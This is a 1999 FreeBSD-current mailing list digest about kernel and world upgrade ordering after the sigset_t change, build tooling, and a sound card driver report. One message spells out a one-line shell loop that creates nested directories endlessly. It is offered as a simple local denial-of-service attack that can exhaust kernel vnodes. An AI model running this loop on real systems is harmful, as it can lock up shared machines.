	by m4.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id TAA21927
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 19:01:19 +1000 (EST)
X-BPC-Relay-Envelope-From: areilly@nsw.bigpond.net.au 
X-BPC-Relay-Envelope-To: <current@FreeBSD.ORG>
X-BPC-Relay-Sender-Host: m5.c2.telstra-mm.net.au [24.192.3.20]
X-BPC-Relay-Info: Message delivered directly.
Received: from areilly.bpc-users.org (CPE-24-192-49-170.nsw.bigpond.net.au [24.192.49.170])
	by m5.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with SMTP id TAA11373
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 19:01:18 +1000 (EST)
Received: (qmail 72413 invoked by uid 1000); 30 Sep 1999 09:01:19 -0000
From: "Andrew Reilly" <areilly@nsw.bigpond.net.au>
Date: Thu, 30 Sep 1999 19:01:19 +1000
To: peter.jeremy@alcatel.com.au
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
Message-ID: <19990930190119.A71106@gurney.reilly.home>
References: <37F23064.98EEBC67@scc.nl> <99Sep30.133847est.40341@border.alcanet.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre2i
In-Reply-To: <99Sep30.133847est.40341@border.alcanet.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 01:41:41PM +1000, Peter Jeremy wrote:
> On Thu, Sep 30, 1999 at 01:29:40AM +1000, Marcel Moolenaar wrote:
> >Before attempting to build world, you must make and install a new
> >kernel. The new kernel will contain new syscalls that are needed during
> >build world. doscmd is currently not being build because it needs fixing
> >first.
> 
> I'd like to voice my concerns with this change as well.  The `normal'
> upgrade procedure has always been to build and install a new world
> before the new kernel.  The only exception I'm aware of has been the
> aout->elf transition (where a special build procedure was provided).

Isn't this backwards?  The kernel's the place that can (and
must) have the backwards-compatability hooks, for the simple
reason that even if you build the world, your ports and
third-party applications have to keep running.  Kernels are
built and updated without corresponding buildworlds all the
time.

If you change something fairly fundamental about the interface
specification for the userland-kernel interaction (say, going to
64-bit file offsets, for an equivelant example), then it seems
pretty obvious to me that a program or library compiled to the
new spec _cannot_ run on a kernel that doesn't implement it.
How could it be otherwise?

This seems to be a different argument to the one John-Mark is
makeing: he isn't trying to _run_ his new world on his old
kernel, just compile it.  I agree that there are probably some
curly issues regarding building a build-only set of tools.
These are obviously going to be _different_ from the equivelant
tools that you want built as part of the buildworld, being
cross-compilers and so on.  I don't know how close the build
target is to that ideal.

-- 
Andrew


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  2:35:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 0E7731525F; Thu, 30 Sep 1999 02:35:28 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id KAA41374;
	Thu, 30 Sep 1999 10:35:28 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Thu, 30 Sep 1999 10:30:58 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l0302090db418ec12eced@[194.32.164.2]>
In-Reply-To: <19990929211018.G86792@florence.pavilion.net>
References: <l0302090ab417f4fbdd0e@[194.32.164.2]>
 <l0302090ab417f4fbdd0e@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 30 Sep 1999 10:30:55 +0000
To: Josef Karthauser <joe@pavilion.net>
From: Bob Bishop <rb@gid.co.uk>
Subject: Re: my repository is broken (more)
Cc: current@FreeBSD.ORG, hackers@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 9:10 pm +0100 29/9/99, Josef Karthauser wrote:
>On Wed, Sep 29, 1999 at 04:58:34PM +0000, Bob Bishop wrote:
>> [...]
>> I now suspect that cvsup.uk.freebsd.org isn't up-to-date. Anyone know
>>anything?
>
>[...]
>
>In summary - sorry, try again.  'Tis working now :)

Yup, looks like we're back in business - thanks!


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  2:37:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175])
	by hub.freebsd.org (Postfix) with ESMTP id EE3B91596B
	for <current@freebsd.org>; Thu, 30 Sep 1999 02:37:26 -0700 (PDT)
	(envelope-from sheldonh@axl.noc.iafrica.com)
Received: from sheldonh (helo=axl.noc.iafrica.com)
	by axl.noc.iafrica.com with local-esmtp (Exim 3.037 #1)
	id 11WceI-0003Ui-00; Thu, 30 Sep 1999 11:37:14 +0200
From: Sheldon Hearn <sheldonh@uunet.co.za>
To: Bob Bishop <rb@gid.co.uk>
Cc: current@FreeBSD.ORG
Subject: Re: my repository is broken 
In-reply-to: Your message of "Wed, 29 Sep 1999 14:20:25 GMT."
             <l03020907b417cbb92b39@[194.32.164.2]> 
Date: Thu, 30 Sep 1999 11:37:14 +0200
Message-ID: <13435.938684234@axl.noc.iafrica.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Wed, 29 Sep 1999 14:20:25 GMT, Bob Bishop wrote:

> 	===> usr.sbin/lpr/filters.ru
> 	===> usr.sbin/lpr/filters.ru/koi2alt
> 	make: don't know how to make koi2alt.c. Stop

Looks like you haven't updated in a while.

> Apparently because...
> 	  moved to koi2alt
> ...never made it here. What's the easiest way to get back in step? TIA

Update your sources, either with CVSup or with cvs update -A. :-)

I got bitten by this myself, but the file "arrived" a few hours later.

Ciao,
Sheldon.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  2:44:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.oeno.com (ns.oeno.com [194.100.99.145])
	by hub.freebsd.org (Postfix) with SMTP id C9C6514E82
	for <current@freebsd.org>; Thu, 30 Sep 1999 02:44:13 -0700 (PDT)
	(envelope-from will@ns.oeno.com)
Received: (qmail 5814 invoked by uid 1001); 30 Sep 1999 09:44:12 -0000
Date: 30 Sep 1999 09:44:11 -0000
Message-ID: <19990930094411.5810.qmail@ns.oeno.com>
From: Ville-Pertti Keinonen <will@iki.fi>
To: imp@village.org
Cc: current@freebsd.org
In-reply-to: <199909291540.JAA03116@harmony.village.org> (message from Warner
	Losh on Wed, 29 Sep 1999 09:40:26 -0600)
Subject: Re: just found this
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


> It wasn't a problem in -current due to a different way that things
> were done there.

What things, exactly?  I haven't noticed any differences in
vfs_cache.c or vfs_subr.c that should affect the caching behavior, so
it must just be that the system survives a large amount of wired down
memory better.

> : Really large numbers of hardlinks are probably rare enough, but the
> : default limit of 4 seems a bit low, it should probably be at least as
> : high as the maximum link count encountered on a normal installation.
> : There are other ways to hold down at least as much memory per file you
> : can keep open as with the limit of 4.
> 
> I think phk's idea in this area are likely the best way to deal.

BTW: None of the solutions address this slower, but simpler attack,
easily described using a Bourne Shell command line:

    $ while mkdir t; do cd t; done

The shell version seems to waste lots of memory so it may die before
it has wired down a significant amount of vnodes (I've also managed to
create an unkillable process this way in 3.2, but I think this is
something that was recently fixed), but the equivalent C program runs
until the filesystem fills up, the user's quota is exeeded or, most
commonly, until too many vnodes have been allocated and the machine
locks up.

It can take quite a while, though.  Creating lots of directories seems
slow, even with softupdates.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  3:23:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from foobar.franken.de (foobar.franken.de [194.94.249.81])
	by hub.freebsd.org (Postfix) with ESMTP id 9AD5714F57
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 03:23:33 -0700 (PDT)
	(envelope-from logix@foobar.franken.de)
Received: (from logix@localhost)
	by foobar.franken.de (8.8.8/8.8.5) id MAA28472;
	Thu, 30 Sep 1999 12:19:16 +0200 (CEST)
Message-ID: <19990930121916.A28237@foobar.franken.de>
Date: Thu, 30 Sep 1999 12:19:16 +0200
From: Harold Gutch <logix@foobar.franken.de>
To: Marcel Moolenaar <marcel@scc.nl>,
	Alfred Perlstein <bright@wintelcom.net>
Cc: Doug <Doug@gorean.org>, Ben Rosengart <ben@skunk.org>,
	current@FreeBSD.ORG
Subject: Re: how to avoid bullets in the feet (was Re: HEADS UP: sigset_t changescommitted)
References: <Pine.BSF.4.05.9909292048250.6368-100000@fw.wintelcom.net> <37F30F13.BF823CE5@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
In-Reply-To: <37F30F13.BF823CE5@scc.nl>; from Marcel Moolenaar on Thu, Sep 30, 1999 at 09:19:47AM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 09:19:47AM +0200, Marcel Moolenaar wrote:
> Alfred Perlstein wrote:
> > 
> > What's really needed is some warning sort of like what we
> > did when the AOUT->ELF convertion happened, there has
> > to be a simple way to test this as part of installworld.
> 
> Yes, that's exactly what I had in mind. Details still need to be worked
> out, though.
> 
This is what I was thinking of when I mentioned "fixing things".
Going the "good old way" (make world, _then_ build a new kernel)
doesn't have to _work_, the problem right now is that it will
complete, but in the end you'll have a non-running system (and,
the way I understood, it would be non-repearable without a new
binary installation).
An interruption of the build-process at the beginning, displaying
a message ("Please build and install a new kernel first") in this
case would be suficient.

bye,
  Harold

-- 
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  3:26:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from martini.ics.es.osaka-u.ac.jp (martini.ics.es.osaka-u.ac.jp [133.1.12.150])
	by hub.freebsd.org (Postfix) with ESMTP id BBBDF14F57
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 03:26:32 -0700 (PDT)
	(envelope-from matusita@jp.FreeBSD.org)
Received: from localhost (localhost [127.0.0.1])
	by martini.ics.es.osaka-u.ac.jp (8.9.3/3.7W/INO-1.0v8-SLAVE) with ESMTP id TAA11286
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 19:26:26 +0900 (JST)
In-Reply-To: <37F30A88.2DF1D7C9@scc.nl>
References: <Pine.BSF.4.10.9909291401330.33311-100000@dt014n8c.san.rr.com>
	<19990929231253.B26394@foobar.franken.de>
	<37F30A88.2DF1D7C9@scc.nl>
X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu
 e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0
 P\):.2}8jo-BiZ?X&t$V
X-User-Agent: Mew/1.94 XEmacs/21.2 (Toshima)
X-SKK-Version: 10.52
X-FaceAnim: (-O_O-)(O_O- )(_O-  )(O-   )(-   -)(   -O)(  -O_)( -O_O)(-O_O-)
X-Fingerprint: 0C AC 93 FC E3 9D 9E 5B  3D B8 AC 5C 4A 79 D8 A6
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Dispatcher: imput version 990905(IM130)
Lines: 20
From: Makoto MATSUSHITA <matusita@jp.FreeBSD.org>
To: current@FreeBSD.ORG
Subject: 'make release' -current in a -stable environment (Re: HEADS UP:
 sigset_t changes committed)
Date: Thu, 30 Sep 1999 19:26:24 +0900
Message-Id: <19990930192624X.matusita@jp.FreeBSD.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I don't know how many people is thinking about release procedure, but
please give me some notes... with this change, we cannot do 'make
release' -current in a -stable environment (and vice versa, maybe).

Reason:
	In a 'make release', all building procedures are done in a
	chroot-ed environment (great!). However, 'make release' does
	'make installworld' (in a chroot-ed environment) before
	building the distribution; so there is a potential problem
	that tools used in building procedure does not work on the
	running kernel (chroot-ed environment does not load yet
	another kernel :-).

I don't know how to build the contents of current.freebsd.org, but
maybe it requires two individual machines to build both -current/-stable
release...

-- -
Makoto `MAR' MATSUSHITA


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  3:36:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from tardis.patho.gen.nz (tardis.patho.gen.nz [203.97.2.226])
	by hub.freebsd.org (Postfix) with ESMTP id A31D415070
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 03:36:49 -0700 (PDT)
	(envelope-from jabley@tardis.patho.gen.nz)
Received: (from jabley@localhost)
	by tardis.patho.gen.nz (8.9.3/8.9.3) id WAA04723;
	Thu, 30 Sep 1999 22:36:42 +1200 (NZST)
Date: Thu, 30 Sep 1999 22:36:41 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Cc: current@FreeBSD.ORG
Subject: Re: FICL breakage...
Message-ID: <19990930223641.B16798@patho.gen.nz>
References: <37F20376.64A46CEA@newsguy.com> <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz> <199909292217.QAA06450@harmony.village.org> <19990930102350.A25061@patho.gen.nz> <199909300122.VAA02018@khavrinen.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5i
In-Reply-To: <199909300122.VAA02018@khavrinen.lcs.mit.edu>; from Garrett Wollman on Wed, Sep 29, 1999 at 09:22:36PM -0400
X-Files: the Truth is Out There
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 09:22:36PM -0400, Garrett Wollman wrote:
> <<On Thu, 30 Sep 1999 10:23:50 +1200, Joe Abley <jabley@patho.gen.nz> said:
> 
> > On Wed, Sep 29, 1999 at 04:17:50PM -0600, Warner Losh wrote:
> >> FWIW, one mus have perl installed to build a kernel.
> 
> > Is that desirable? Or do we need more awk?
> 
> Um, yes.  The reason we have Perl in the base system is so that
> programs like this can be written -- in a way that (a) doesn't involve
> a seventeen-pipeline shell script, and (b) is maintainable by people
> whose names are not Aho, Weinberger, or Kernighan.
> 
> -GAWollman
> 
> PS: Yes, I know that awk is standardized.  That doesn't make it any
> clearer when the program is doing something other than iterating over
> each line in an input file.

That's pretty much all softcore.awk was doing though, from
memory...

Anyway, all good to know. There are almost certainly more perl
speakers than awk speakers these days, so it probably makes sense
to do these things in perl rather than awk.

However, take care not to underestimate the awesome power of awk.
When you come down to it, there's an awful lot of userland that
(when you come down to it) does nothing more than interate over each
line in an input file :)


Joe Abley
awk-deconstructionist


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  3:37:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from out1.mx.skynet.be (out1.mx.skynet.be [195.238.2.36])
	by hub.freebsd.org (Postfix) with ESMTP id BB11B15070
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 03:37:42 -0700 (PDT)
	(envelope-from root@foxbert.skynet.be)
Received: from foxbert.skynet.be (foxbert.skynet.be [195.238.1.45])
	by out1.mx.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id MAA16224;
	Thu, 30 Sep 1999 12:37:41 +0200 (MET DST)
Received: (from root@localhost)
	by foxbert.skynet.be (8.9.1/jovi-pop-2.1) id MAA08838;
	Thu, 30 Sep 1999 12:37:38 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: blk@foxbert.skynet.be
Message-Id: <v04205500b418e143c413@[195.238.21.204]>
In-Reply-To: 
 <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
References: 
 <Pine.BSF.4.10.9909292212100.7566-100000@nightfall.digitalspark.net>
Date: Thu, 30 Sep 1999 11:46:55 +0200
To: Adam Strohl <adams@digitalspark.net>, current@FreeBSD.ORG
From: Brad Knowles <blk@skynet.be>
Subject: Re: HEADS UP: sigset_t changes committed
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 10:17 PM +0000 1999/9/29, Adam Strohl wrote:

> Furthermore, for when 4.0 becomes a -R or -S, ftping in a compiled kernel
> shouldn't be that hard of a price to pay for going from 3.2.
>
> /stand/sysinstall based upgrades could easily seemlessly take care of
> this, too.

	I must confess ignorance (and I haven't exhaustively searched the 
mailing list archives, the Handbook, or the FAQ), but is this the 
recommended method of upgrading from a previous major release to the 
latest -STABLE major release (i.e., going from 2.x to 3.x today, or 
from 3.x to 4.x when the time comes)?  I thought the official 
procedure was cvsup, or is that for updating only within a particular 
major release?


	Thanks!

-- 
   These are my opinions -- not to be taken as official Skynet policy
  ____________________________________________________________________
|o| Brad Knowles, <blk@skynet.be>            Belgacom Skynet NV/SA |o|
|o| Systems Architect, News & FTP Admin      Rue Col. Bourg, 124   |o|
|o| Phone/Fax: +32-2-706.11.11/12.49         B-1140 Brussels       |o|
|o| http://www.skynet.be                     Belgium               |o|
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
  Unix is like a wigwam -- no Gates, no Windows, and an Apache inside.
   Unix is very user-friendly.  It's just picky who its friends are.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  3:43:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id CC94115070
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 03:43:37 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id MAA54656
	for current@FreeBSD.org; Thu, 30 Sep 1999 12:13:42 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 12:13:32 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F337CC.5E06911B@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: new sigset_t and upgrading: a proposal
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

In the recent discussion about the breakage of the upgrade path from
-stable to -current numerous suggestions and other kinds of remarks have
been made. In this light I have the following proposal. Please share
your thoughts...

NOTE: This proposal only discusses upgrading from -stable to -current.
Users already running -current are expected to be capable of building a
kernel before doing a make world.

The problem
-----------
When doing a make world, tools are being built that are used by the
build process. This is to make sure that the tools are appropriate for
doing a make world. The problem we now face is that the sigset_t change
causes this to break. The tools that are being built use new syscalls
not present in a kernel. Not only that, the new tools expect a different
sigframe in general.
So, the problem can be split into:
A) New syscalls using the new sigset_t (sigaction and so on)
B) A new sigframe (new siginfo, no sigcontext but ucontext_t)

The solution
------------
Sub-problem A (syscalls) can be easily handled if the syscalls are added
to a -stable kernel. The new sigset_t and dependencies used by these
syscalls are converted back and are handled by the kernel in the normal
way. The assumption here is that the tools that are needed by the make
world are not depended on the extra signals and/or RT signals.

Sub-problem B (sigframe) doesn't need to be handled, because:
	1. none of the tools required for doing a make world depends
	   on siginfo_t. The only C sources where SA_SIGINFO can be
	   found (not counting /sys) are:
		./contrib/sendmail/src/conf.c
		./gnu/usr.bin/rcs/lib/rcsutil.c
	2. The only program that uses sigcontext (and therefore
	   possibly sigreturn) is doscmd, which is not needed for
	   anything other than DOS emulation.
This simply means that the sigframe changes are not visible in general
and that the old sigframe should work for the binaries al well.

Pros
----
o  It's relatively easy.
o  It won't interfere with the normal operation of a -stable machine
   and thus won't stretch the meaning of "stable" as a complete
   backport would do.
o  It increases inoperability between -stable and -current.
o  It doesn't require to change the already complex build process.

Cons
----
o  Upgrading from 3.3 and before to -current is only possible after
   an upgrade to post 3.3.
o  It's still hypothetical.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  4:23:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from lorien.odc.net (lorien.odc.net [207.137.42.14])
	by hub.freebsd.org (Postfix) with ESMTP id 9D31D14FFD
	for <current@freebsd.org>; Thu, 30 Sep 1999 04:23:30 -0700 (PDT)
	(envelope-from nwestfal@lorien.odc.net)
Received: from localhost (nwestfal@localhost)
	by lorien.odc.net (8.9.3/8.9.3) with ESMTP id EAA00728
	for <current@freebsd.org>; Thu, 30 Sep 1999 04:23:30 -0700
Date: Thu, 30 Sep 1999 04:23:30 -0700 (PDT)
From: Neal Westfall <nwestfal@lorien.odc.net>
To: current@freebsd.org
Subject: Opti931 Sound Card
Message-ID: <Pine.LNX.4.10.9909300419020.668-300000@lorien.odc.net>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1982919126-1087472807-938690610=:668"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1982919126-1087472807-938690610=:668
Content-Type: TEXT/PLAIN; charset=US-ASCII

Since the new sound code has been committed, my cheapo Opti931
sound card hasn't been working.  Hopefully with the dmesg and
pnpinfo output which is attached, somebody can add the proper
vendor IDs.  Much appreciated.

Neal


---1982919126-1087472807-938690610=:668
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="pnpinfo.out"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9909300423300.668@lorien.odc.net>
Content-Description: 
Content-Disposition: attachment; filename="pnpinfo.out"

Q2hlY2tpbmcgZm9yIFBsdWctbi1QbGF5IGRldmljZXMuLi4NCg0KQ2FyZCBh
c3NpZ25lZCBDU04gIzENClZlbmRvciBJRCBPUFQwOTMxICgweDMxMDkxNDNl
KSwgU2VyaWFsIE51bWJlciAweGZmZmZmZmZmDQpQblAgVmVyc2lvbiAxLjAs
IFZlbmRvciBWZXJzaW9uIDANCkRldmljZSBEZXNjcmlwdGlvbjogT1BUaSBB
dWRpbyAxNg0KDQpMb2dpY2FsIERldmljZSBJRDogT1BUZmZmZiAweGZmZmYx
NDNlICMwDQoJVmVuZG9yIHJlZ2lzdGVyIGZ1bmNzIDAwDQpEZXZpY2UgRGVz
Y3JpcHRpb246IEFVWDANCg0KTG9naWNhbCBEZXZpY2UgSUQ6IE9QVDkzMTAg
MHgxMDkzMTQzZSAjMQ0KCVZlbmRvciByZWdpc3RlciBmdW5jcyAwMA0KRGV2
aWNlIERlc2NyaXB0aW9uOiBPUFRpIEF1ZGlvIDE2DQpUQUcgU3RhcnQgREYN
CiAgICBJL08gUmFuZ2UgMHg1MzQgLi4gMHg2MDgsIGFsaWdubWVudCAweDQs
IGxlbiAweDQNCglbMTYtYml0IGFkZHJdDQogICAgSS9PIFJhbmdlIDB4Mzgw
IC4uIDB4M2YwLCBhbGlnbm1lbnQgMHgxMCwgbGVuIDB4Yw0KCVsxNi1iaXQg
YWRkcl0NCiAgICBJL08gUmFuZ2UgMHgyMjAgLi4gMHgyNDAsIGFsaWdubWVu
dCAweDIwLCBsZW4gMHgxMA0KCVsxNi1iaXQgYWRkcl0NCiAgICBJL08gUmFu
Z2UgMHhlMGMgLi4gMHhmZmMsIGFsaWdubWVudCAweDQsIGxlbiAweDQNCglb
MTYtYml0IGFkZHJdDQogICAgSVJROiA1IDcgMTAgIC0gb25seSBvbmUgdHlw
ZSAodHJ1ZS9lZGdlKQ0KICAgIERNQTogY2hhbm5lbChzKSAwIDEgMyANCgk4
LWJpdCwgbm90IGEgYnVzIG1hc3RlciwgY291bnQgYnkgYnl0ZSwgLCBUeXBl
IEYNCiAgICBETUE6IGNoYW5uZWwocykgMCAxIDMgNSA2IA0KCTgvMTYtYml0
LCBub3QgYSBidXMgbWFzdGVyLCBjb3VudCBieSBieXRlLCBjb3VudCBieSB3
b3JkLCBUeXBlIEYNClRBRyBTdGFydCBERg0KICAgIEkvTyBSYW5nZSAweDUz
NCAuLiAweGZmMCwgYWxpZ25tZW50IDB4NCwgbGVuIDB4NA0KCVsxNi1iaXQg
YWRkcl0NCiAgICBJL08gUmFuZ2UgMHgzODAgLi4gMHgzZjAsIGFsaWdubWVu
dCAweDEwLCBsZW4gMHhjDQoJWzE2LWJpdCBhZGRyXQ0KICAgIEkvTyBSYW5n
ZSAweDIyMCAuLiAweDI0MCwgYWxpZ25tZW50IDB4MjAsIGxlbiAweDEwDQoJ
WzE2LWJpdCBhZGRyXQ0KICAgIEkvTyBSYW5nZSAweGUwYyAuLiAweGZmYywg
YWxpZ25tZW50IDB4NCwgbGVuIDB4NA0KCVsxNi1iaXQgYWRkcl0NCiAgICBJ
UlE6IDUgNyA5IDEwIDExICAtIG9ubHkgb25lIHR5cGUgKHRydWUvZWRnZSkN
CiAgICBETUE6IGNoYW5uZWwocykgMCAxIDMgNSA2IA0KCTgvMTYtYml0LCBu
b3QgYSBidXMgbWFzdGVyLCBjb3VudCBieSBieXRlLCBjb3VudCBieSB3b3Jk
LCBUeXBlIEYNCiAgICBETUE6IGNoYW5uZWwocykgMCAxIDMgNSA2IA0KCTgv
MTYtYml0LCBub3QgYSBidXMgbWFzdGVyLCBjb3VudCBieSBieXRlLCBjb3Vu
dCBieSB3b3JkLCBUeXBlIEYNClRBRyBTdGFydCBERg0KICAgIEkvTyBSYW5n
ZSAweDUzNCAuLiAweDYwOCwgYWxpZ25tZW50IDB4NCwgbGVuIDB4NA0KCVsx
Ni1iaXQgYWRkcl0NCiAgICBJL08gUmFuZ2UgMHgzODAgLi4gMHgzZjAsIGFs
aWdubWVudCAweDEwLCBsZW4gMHhjDQoJWzE2LWJpdCBhZGRyXQ0KICAgIEkv
TyBSYW5nZSAweDIyMCAuLiAweDI0MCwgYWxpZ25tZW50IDB4MjAsIGxlbiAw
eDEwDQoJWzE2LWJpdCBhZGRyXQ0KICAgIEkvTyBSYW5nZSAweGUwYyAuLiAw
eGZmYywgYWxpZ25tZW50IDB4NCwgbGVuIDB4NA0KCVsxNi1iaXQgYWRkcl0N
CiAgICBJUlE6IDUgNyAxMCAgLSBvbmx5IG9uZSB0eXBlICh0cnVlL2VkZ2Up
DQogICAgRE1BOiBjaGFubmVsKHMpIDAgMSAzIA0KCTgtYml0LCBub3QgYSBi
dXMgbWFzdGVyLCBjb3VudCBieSBieXRlLCAsIFR5cGUgRg0KICAgIERNQTog
Y2hhbm5lbChzKSAwIDEgMyANCgk4LWJpdCwgbm90IGEgYnVzIG1hc3Rlciwg
Y291bnQgYnkgYnl0ZSwgLCBUeXBlIEYNClRBRyBTdGFydCBERg0KICAgIEkv
TyBSYW5nZSAweDUzNCAuLiAweGZmMCwgYWxpZ25tZW50IDB4NCwgbGVuIDB4
NA0KCVsxNi1iaXQgYWRkcl0NCiAgICBJL08gUmFuZ2UgMHgzODAgLi4gMHgz
ZjAsIGFsaWdubWVudCAweDEwLCBsZW4gMHhjDQoJWzE2LWJpdCBhZGRyXQ0K
ICAgIEkvTyBSYW5nZSAweDIyMCAuLiAweDI0MCwgYWxpZ25tZW50IDB4MjAs
IGxlbiAweDEwDQoJWzE2LWJpdCBhZGRyXQ0KICAgIEkvTyBSYW5nZSAweGUw
YyAuLiAweGZmYywgYWxpZ25tZW50IDB4NCwgbGVuIDB4NA0KCVsxNi1iaXQg
YWRkcl0NCiAgICBJUlE6IDUgNyA5IDEwIDExICAtIG9ubHkgb25lIHR5cGUg
KHRydWUvZWRnZSkNCiAgICBETUE6IGNoYW5uZWwocykgMCAxIDMgDQoJOC1i
aXQsIG5vdCBhIGJ1cyBtYXN0ZXIsIGNvdW50IGJ5IGJ5dGUsICwgVHlwZSBG
DQogICAgRE1BOiBjaGFubmVsKHMpIDAgMSAzIA0KCTgtYml0LCBub3QgYSBi
dXMgbWFzdGVyLCBjb3VudCBieSBieXRlLCAsIFR5cGUgRg0KVEFHIFN0YXJ0
IERGDQogICAgSS9PIFJhbmdlIDB4NTM0IC4uIDB4ZmYwLCBhbGlnbm1lbnQg
MHg0LCBsZW4gMHg0DQoJWzE2LWJpdCBhZGRyXQ0KICAgIEkvTyBSYW5nZSAw
